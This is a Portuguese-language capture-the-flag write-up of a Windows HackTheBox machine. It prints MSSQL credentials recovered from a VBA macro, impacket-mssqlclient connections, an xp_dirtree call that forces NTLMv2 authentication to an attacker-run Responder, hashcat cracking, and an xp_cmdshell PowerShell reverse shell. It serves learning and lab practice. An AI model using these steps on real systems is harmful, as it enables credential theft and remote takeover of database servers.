Informações da Box
| Plataforma | HackTheBox |
| Dificuldade | Medium |
| SO | Windows |
| Técnicas Principais | MSSQL Exploitation, VBA Macro Creds, Responder NTLMv2 Steal, xp_cmdshell |
Resumo do Caminho de Ataque
Acesso guest no SMB à share “Reports” -> baixou arquivo Excel com macro VBA contendo credenciais MSSQL (reporting:PcwTWTHRwryjc$c6) -> conectou ao MSSQL com flag -windows-auth -> usuário reporting não conseguia rodar xp_cmdshell -> usou Responder + xp_dirtree pra roubar hash NTLMv2 da service account do MSSQL -> crackou o hash -> reconectou como service account com role sysadmin -> habilitou xp_cmdshell -> reverse shell -> privesc.
Enumeração
sudo nmap -Pn -p- --min-rate=1000 -T4 -oN fast_tcp.txt $ip
| Porta | Serviço | Notas |
|---|---|---|
| 445 | SMB | Acesso guest à share Reports |
| 1433 | MSSQL | O alvo |
SMB — Arquivo Excel com Macro
Encontrou um arquivo Excel na share Reports. Abri e chequei as macros VBA — encontrei credenciais MSSQL hardcoded.
Creds da macro: reporting:PcwTWTHRwryjc$c6
Foothold — MSSQL -> Responder -> Shell
Primeira Conexão
impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@$ip -windows-auth
# Conectou! Mas o usuário reporting não consegue habilitar xp_cmdshell — não é sysadmin
Importante: tive que usar a flag -windows-auth. SQL auth vs Windows auth importa. Sem essa flag a conexão falha.
Também: a senha tem $. Use aspas simples no bash ou o shell vai tentar expandir como variável.
Roubo de Hash — xp_dirtree + Responder
Já que reporting não pode rodar xp_cmdshell, usei xp_dirtree pra fazer o SQL server se conectar de volta ao meu Responder e roubar o hash NTLMv2 da service account.
# No Kali — iniciar Responder
sudo responder -I tun0
# No MSSQL — forçar conexão de volta pra nós
xp_dirtree '\\KALI_IP\share'
# Responder captura o hash NTLMv2 da service account do MSSQL
Crackear o Hash
hashcat -m 5600 ntlmv2_hash.txt /usr/share/wordlists/rockyou.txt
# Crackou a senha da service account
Reconectar como Sysadmin -> Shell
# Reconectar com a service account (privilégios sysadmin)
impacket-mssqlclient svc_account:'password'@$ip -windows-auth
# Habilitar xp_cmdshell
enable_xp_cmdshell
# Reverse shell
xp_cmdshell 'powershell -e <BASE64_PAYLOAD>'
O que Aprendi
Sempre tente -windows-auth com impacket-mssqlclient. SQL auth e Windows auth são diferentes. Se um falhar, tente o outro.
Senhas com $ precisam de aspas simples no bash. 'PcwTWTHRwryjc$c6' funciona, "PcwTWTHRwryjc$c6" não porque o bash interpreta $c6 como variável.
Macros VBA em arquivos Office são uma fonte comum de credenciais em boxes CTF e na vida real. Sempre cheque shares SMB por arquivos Excel/Word e inspecione as macros.
xp_dirtree + Responder = roubar hash NTLMv2 quando xp_cmdshell é negado. O SQL server faz uma conexão SMB pra sua máquina, e o Responder captura o hash de autenticação. Hashcat mode 5600 pra NTLMv2.
Padrão: “Acesso MSSQL mas sem xp_cmdshell? Use xp_dirtree + Responder pra roubar o hash da service account. Cracka, reconecta com direitos sysadmin.”